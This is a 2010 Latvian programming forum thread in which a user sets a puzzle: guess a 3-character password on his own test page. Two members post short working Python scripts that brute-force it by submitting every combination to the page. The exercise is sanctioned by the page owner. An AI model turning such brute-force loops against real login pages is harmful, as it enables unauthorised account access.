View previous topic :: View next topic |
Author |
Message |
AnetiX Indago Uzvarētājs
Joined: 05 Jun 2003 Posts: 573
|
Posted: Thu Aug 19, 2010 8:01 pm Post subject: Mazs offtopiks - hakošana |
|
Alo! Biju draugiem.lv domugrupā "Hakeri" un uzdevu viņiem vienkāršu uzdevumu - uzminēt 3 burtu/ciparu kombināciju, kas šobrīd izskatās, ka beigsies ar lielu izgāšanos, jo neviens to nespēj. :D
Varbūt Jūs varat to izdarīt? :)
Adrese: http://hakeri.info/brute/
Informācija:
Zināms, ka parole sastāv no precīzi 3 burtiem/cipariem. Burti nav jutīgi, t.i, nav svarīgi vai ir ABC vai abc. Attiecīgi, viss iespējamais spekts ir: "0123456789qwertyuioplkjhgfdsazxcvbnm", jeb 36 simboli.
Uzdevums ir atrast paroli. Nepareizas paroles gadījumā rādas "Wrong!", bet pareizas paroles gadījumā rādas: "Ok! Hash: xxxx xxxxxxxxx".
Pēc pareizas paroles uzminēšanas, lūdzu iekopējiet šo rindiņu, kas Jums parādas .Nočekošu, vai hash atbilst un apstiprināšu, ka esat paroli uzminējis (nočekošu, vai hash ir pareizs).
Pašu paroli gan nekopējiet šeit - atstāsim citiem to prieku to minēt. :)
Par servera DDOS'ošanu varat neuztraukties - trubai vajadzētu pietikt visiem. _________________ Miljons iemeslu, kāpēc Latvija ir labākā valsts pasaulē
http://www.millionreasonswhylatviaisthebestcountryintheworld.com |
|
Back to top |
|
|
bubu Indago Uzvarētājs
Joined: 23 Mar 2004 Posts: 3223 Location: Riga
|
Posted: Thu Aug 19, 2010 8:43 pm Post subject: |
|
Uzminēt? Kā gan to var uzminēt. Cik sapratu jālaiž prasts bruteforce. Vienkāršs 16 rindiņu Python skripts (varu nopublicēt, kad atļaus :) un atbilde padsmit minūtēs rokā:
OK! :) Hash: 84975686|ada382e79513ee88a28083aeba0d2565 |
|
Back to top |
|
|
AnetiX Indago Uzvarētājs
Joined: 05 Jun 2003 Posts: 573
|
Posted: Thu Aug 19, 2010 8:57 pm Post subject: |
|
bubu wrote: | Uzminēt? Kā gan to var uzminēt. Cik sapratu jālaiž prasts bruteforce. Vienkāršs 16 rindiņu Python skripts (varu nopublicēt, kad atļaus un atbilde padsmit minūtēs rokā:
OK! Hash: 84975686|ada382e79513ee88a28083aeba0d2565 |
Perfekti. Esi pirmais, apsveicu! Man tas aizņēma 33 min un 92 sec paša pārbaude, bet es neskaitos, jo esmu izstrādātājs. _________________ Miljons iemeslu, kāpēc Latvija ir labākā valsts pasaulē
http://www.millionreasonswhylatviaisthebestcountryintheworld.com |
|
Back to top |
|
|
elvman Indago Uzvarētājs
Joined: 09 Apr 2003 Posts: 1278 Location: Kuldiga
|
Posted: Thu Aug 19, 2010 10:13 pm Post subject: |
|
Es gribētu teikt, ka nevis neviens neprot, bet visiem ir slinkums. Man uz kompja stāv jau gatavs Python skripts tādiem uzdevumiem, tā kā 3 simbolu gadījumā tas būtu pāris sekunžu uzdevums. _________________ long time; /* know C */ |
|
Back to top |
|
|
AnetiX Indago Uzvarētājs
Joined: 05 Jun 2003 Posts: 573
|
Posted: Thu Aug 19, 2010 11:02 pm Post subject: |
|
elvman wrote: | Es gribētu teikt, ka nevis neviens neprot, bet visiem ir slinkums. Man uz kompja stāv jau gatavs Python skripts tādiem uzdevumiem, tā kā 3 simbolu gadījumā tas būtu pāris sekunžu uzdevums. | Nu izdari, ja jau pāris sekunžu uzdevums.... ziedo 1 min cerības vārdā. _________________ Miljons iemeslu, kāpēc Latvija ir labākā valsts pasaulē
http://www.millionreasonswhylatviaisthebestcountryintheworld.com |
|
Back to top |
|
|
elvman Indago Uzvarētājs
Joined: 09 Apr 2003 Posts: 1278 Location: Kuldiga
|
Posted: Fri Aug 20, 2010 12:12 am Post subject: |
|
Kodu biju kaut kur pakāsis. Nācās uzrakstīt jaunu, tāpēc prasīja ilgāk par minūti.
Visiem gribētājiem:
Code: | import urllib.request, urllib.parse, urllib.error
url = 'http://hakeri.info/brute/'
allowedChars = '1234567890abcdefghijklmnopqrstuvwxyz'
def find():
for a in range(0, len(allowedChars)-1):
for b in range(0, len(allowedChars)-1):
for c in range(0, len(allowedChars)-1):
psw = allowedChars[a]+allowedChars[b]+allowedChars[c]
data = urllib.parse.urlencode({'psw' : psw})
f = urllib.request.urlopen(url, data)
s = f.read()
if(s[0:6] != b'Wrong!'):
return psw
print(find()) |
Tev AnetiX hash: 17821562|0703fc8438aeb4e589bbd70f5e488d6d _________________ long time; /* know C */ |
|
Back to top |
|
|
AnetiX Indago Uzvarētājs
Joined: 05 Jun 2003 Posts: 573
|
|
Back to top |
|
|
bubu Indago Uzvarētājs
Joined: 23 Mar 2004 Posts: 3223 Location: Riga
|
Posted: Fri Aug 20, 2010 7:41 am Post subject: |
|
Reku mans:
Code: | import urllib
import sys
all = "0123456789qwertyuioplkjhgfdsazxcvbnm"
for a in reversed(all):
for b in reversed(all):
for c in reversed(all):
pw = a + b + c
f = urllib.urlopen("http://hakeri.info/brute/", "psw=" + pw)
data = f.read()
f.close()
if "Wrong!" not in data:
print pw
sys.exit(0)
|
reversed tikai joka pēc, nelikās, ka sākumā būs daudz ciparu. |
|
Back to top |
|
|
|